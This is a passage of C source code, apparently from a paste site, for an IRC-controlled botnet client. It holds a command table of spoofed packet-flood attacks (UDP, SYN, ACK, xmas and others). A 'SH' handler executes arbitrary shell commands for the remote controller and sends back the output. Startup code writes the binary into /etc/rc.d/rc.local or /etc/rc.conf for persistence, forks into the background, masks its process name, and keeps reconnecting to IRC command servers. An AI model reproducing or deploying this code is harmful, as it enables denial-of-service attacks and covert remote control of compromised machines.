  1354. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  1355.         { "UDP", udp },
  1356.         { "SYN", syn },
  1357.         { "NSSYN", nssyn },
  1358.         { "FIN", fin },
  1359.         { "PSH", psh },
  1360.         { "ACK", ack },
  1361.         { "NSACK", nsack },
  1362.         { "URG", urg },
  1363.         { "RST", rst },
  1364.         { "CWR", cwr },
  1365.         { "ECE", ece },
  1366.         { "SEW", sew },
  1367.         { "xmas", xmas },
  1368.     { "UNKNOWN", unknown },
  1369.         { "NICK", nickc },
  1370.         { "SERVER", move },
  1371.     { "GETSPOOFS", getspoofs },
  1372.         { "SPOOFS", spoof },
  1373.     { "DISABLE", disable },
  1374.         { "ENABLE", enable },
  1375.         { "KILL", killd },
  1376.     { "GET", get },
  1377.         { "VERSION", version },
  1378.         { "KILLALL", killall },
  1379. { (char *)0, (void (*)(int,char *,int,char **))0 } };
  1380. void _PRIVMSG(int sock, char *sender, char *str) {
  1381.         int i;
  1382.         char *to, *message;
  1383.         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1384.         str[i]=0;
  1385.         to=str;
  1386.         message=str+i+2;
  1387.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  1388.         sender[i]=0;
  1389.         if (*message == '!' && !strcasecmp(to,chan)) {
  1390.                 char *params[12], name[1024]={0};
  1391.                 int num_params=0, m;
  1392.                 message++;
  1393.                 for (i=0;i<strlen(message) && message[i] != ' ';i++);
  1394.                 message[i]=0;
  1395.                 if (strwildmatch(message,nick)) return;
  1396.                 message+=i+1;
  1397.                 if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock,"NOTICE %s :Unable to comply.\n",sender); else Send(sock,"%s\n",message+4);
  1398.                 if (!strncmp(message,"SH ",3)) {
  1399.                         char buf[1024];
  1400.                         FILE *command;
  1401.                         if (mfork(sender) != 0) return;
  1402.                         memset(buf,0,1024);
  1403.                         sprintf(buf,"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3);
  1404.                         command=popen(buf,"r");
  1405.                         while(!feof(command)) {
  1406.                                 memset(buf,0,1024);
  1407.                                 fgets(buf,1024,command);
  1408.                                 Send(sock,"NOTICE %s :%s\n",sender,buf);
  1409.                                 sleep(1);
  1410.                         }
  1411.                         pclose(command);
  1412.                         exit(0);
  1413.                 }
  1414.                 m=strlen(message);
  1415.                 for (i=0;i<m;i++) {
  1416.                         if (*message == ' ' || *message == 0) break;
  1417.                         name[i]=*message;
  1418.                         message++;
  1419.                 }
  1420.                 for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  1421.                 num_params++;
  1422.                 if (num_params > 10) num_params=10;
  1423.                 params[0]=name;
  1424.                 params[num_params+1]="\0";
  1425.                 m=1;
  1426.                 while (*message != 0) {
  1427.                         message++;
  1428.                         if (m >= num_params) break;
  1429.                         for (i=0;i<strlen(message) && message[i] != ' ';i++);
  1430.                         params[m]=(char*)malloc(i+1);
  1431.                         strncpy(params[m],message,i);
  1432.                         params[m][i]=0;
  1433.                         m++;
  1434.                         message+=i;
  1435.                 }
  1436.                 for (m=0; flooders[m].cmd != (char *)0; m++) {
  1437.                         if (!strcasecmp(flooders[m].cmd,name)) {
  1438.                                 flooders[m].func(sock,sender,num_params-1,params);
  1439.                                 for (i=1;i<num_params;i++) free(params[i]);
  1440.                                 return;
  1441.                         }
  1442.                 }
  1443.         }
  1444. }
  1445. void _376(int sock, char *sender, char *str) {
  1446.         Send(sock,"MODE %s -x\n",nick);
  1447.         Send(sock,"JOIN %s :%s\n",chan,key);
  1448.         Send(sock,"WHO %s\n",nick);
  1449. }
  1450. void _PING(int sock, char *sender, char *str) {
  1451.         Send(sock,"PONG %s\n",str);
  1452. }
  1453. void _352(int sock, char *sender, char *str) {
  1454.         int i,d;
  1455.         char *msg=str;
  1456.         struct hostent *hostm;
  1457.         unsigned long m;
  1458.         for (i=0,d=0;d<5;d++) {
  1459.                 for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  1460.                 if (i == strlen(str)) return;
  1461.         }
  1462.         for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  1463.         msg[i]=0;
  1464.         if (!strcasecmp(msg,nick) && !spoofsm) {
  1465.                 msg=str;
  1466.                 for (i=0,d=0;d<3;d++) {
  1467.                         for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  1468.                         if (i == strlen(str)) return;
  1469.                 }
  1470.                 for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  1471.                 msg[i]=0;
  1472.                 if ((m = inet_addr(msg)) == -1) {
  1473.                         if ((hostm=gethostbyname(msg)) == NULL) {
  1474.                                 Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  1475.                                 return;
  1476.                         }
  1477.                         memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  1478.                 }
  1479.                 ((char*)&spoofs)[3]=((char*)&m)[0];
  1480.                 ((char*)&spoofs)[2]=((char*)&m)[1];
  1481.                 ((char*)&spoofs)[1]=((char*)&m)[2];
  1482.                 ((char*)&spoofs)[0]=0;
  1483.                 spoofsm=256;
  1484.         }
  1485. }
  1486. void _433(int sock, char *sender, char *str) {
  1487.         free(nick);
  1488.         nick=makestring();
  1489. }
  1490. void _NICK(int sock, char *sender, char *str) {
  1491.     int i;
  1492.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  1493.         sender[i]=0;
  1494.     if (!strcasecmp(sender,nick)) {
  1495.         if (*str == ':') str++;
  1496.         if (nick) free(nick);
  1497.         nick=strdup(str);
  1498.     }
  1499. }
  1500. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  1501.         { "352", _352 },
  1502.         { "376", _376 },
  1503.         { "433", _433 },
  1504.         { "422", _376 },
  1505.         { "PRIVMSG", _PRIVMSG },
  1506.         { "PING", _PING },
  1507.     { "NICK", _NICK },
  1508. { (char *)0, (void (*)(int,char *,char *))0 } };
  1509. void con() {
  1510.         struct sockaddr_in srv;
  1511.         unsigned long ipaddr,start;
  1512.         int flag;
  1513.         struct hostent *hp;
  1514. start:
  1515.     sock=-1;
  1516.     flag=1;
  1517.     if (changeservers == 0) server=servers[rand()%numservers];
  1518.     changeservers=0;
  1519.         while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  1520.     if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  1521.         if ((hp = gethostbyname(server)) == NULL) {
  1522.             server=NULL;
  1523.             close(sock);
  1524.             goto start;
  1525.         }
  1526.         bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  1527.     }
  1528.     else srv.sin_addr.s_addr=inet_addr(server);
  1529.         srv.sin_family = AF_INET;
  1530.         srv.sin_port = htons(6667);
  1531.     ioctl(sock,FIONBIO,&flag);
  1532.     start=time(NULL);
  1533.     while(time(NULL)-start < 10) {
  1534.         errno=0;
  1535.         if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  1536.                 setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  1537.                 setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  1538.                 setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  1539.             return;
  1540.         }
  1541.         if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  1542.         sleep(1);
  1543.     }
  1544.     server=NULL;
  1545.     close(sock);
  1546.     goto start;
  1547. }
  1548. int main(int argc, char **argv) {
  1549.         int on,i;
  1550.         char cwd[256],*str;
  1551.         FILE *file;
  1552. #ifdef STARTUP
  1553.     str="/etc/rc.d/rc.local";
  1554.     file=fopen(str,"r");
  1555.     if (file == NULL) {
  1556.         str="/etc/rc.conf";
  1557.         file=fopen(str,"r");
  1558.     }
  1559.         if (file != NULL) {
  1560.                 char outfile[256], buf[1024];
  1561.                 int i=strlen(argv[0]), d=0;
  1562.                 getcwd(cwd,256);
  1563.                 if (strcmp(cwd,"/")) {
  1564.                         while(argv[0][i] != '/') i--;
  1565.                         sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  1566.                         while(!feof(file)) {
  1567.                                 fgets(buf,1024,file);
  1568.                                 if (!strcasecmp(buf,outfile)) d++;
  1569.                         }
  1570.                         if (d == 0) {
  1571.                                 FILE *out;
  1572.                                 fclose(file);
  1573.                                 out=fopen(str,"a");
  1574.                                 if (out != NULL) {
  1575.                                         fputs(outfile,out);
  1576.                                         fclose(out);
  1577.                                 }
  1578.                         }
  1579.                         else fclose(file);
  1580.                 }
  1581.                 else fclose(file);
  1582.         }
  1583. #endif
  1584.         if (fork()) exit(0);
  1585. #ifdef FAKENAME
  1586.     strncpy(argv[0],FAKENAME,strlen(argv[0]));
  1587.         for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  1588. #endif
  1589.         srand((time(NULL) ^ getpid()) + getppid());
  1590.         nick=makestring();
  1591.         ident=makestring();
  1592.         user=makestring();
  1593.         chan=CHAN;
  1594.     key=KEY;
  1595.     server=NULL;
  1596. sa:
  1597. #ifdef IDENT
  1598.         for (i=0;i<numpids;i++) {
  1599.                 if (pids[i] != 0 && pids[i] != getpid()) {
  1600.                         kill(pids[i],9);
  1601.             waitpid(pids[i],NULL,WNOHANG);
  1602.                 }
  1603.         }
  1604.     pids=NULL;
  1605.     numpids=0;
  1606.     identd();
  1607. #endif
  1608.     con();
  1609.         Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  1610.         while(1) {
  1611.                 unsigned long i;
  1612.                 fd_set n;
  1613.                 struct timeval tv;
  1614.                 FD_ZERO(&n);
  1615.                 FD_SET(sock,&n);
  1616.                 tv.tv_sec=60*20;
  1617.                 tv.tv_usec=0;
  1618.                 if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  1619.                 for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  1620.                         unsigned int *newpids,on;
  1621.                         for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  1622.             pids[on-1]=0;
  1623.                         numpids--;
  1624.                         newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  1625.                         for (on=0;on<numpids;on++) newpids[on]=pids[on];
  1626.                         free(pids);
  1627.                         pids=newpids;
  1628.                 }
  1629.                 if (FD_ISSET(sock,&n)) {
  1630.                         char buf[4096], *str;
  1631.                         int i;
  1632.                         if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  1633.                         buf[i]=0;
  1634.                         str=strtok(buf,"\n");
  1635.                         while(str && *str) {
  1636.                                 char name[1024], sender[1024];
  1637.                                 filter(str);
  1638.                                 if (*str == ':') {
  1639.                                         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1640.                                         str[i]=0;
  1641.                                         strcpy(sender,str+1);
  1642.                                         strcpy(str,str+i+1);
  1643.                                 }
  1644.                                 else strcpy(sender,"*");
  1645.                                 for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1646.                                 str[i]=0;
  1647.                                 strcpy(name,str);
  1648.                                 strcpy(str,str+i+1);
  1649.                                 for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  1650.                                 if (!strcasecmp(name,"ERROR")) goto sa;
  1651.                                 str=strtok((char*)NULL,"\n");
  1652.                         }
  1653.                 }
  1654.         }
  1655.         return 0;
  1656. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement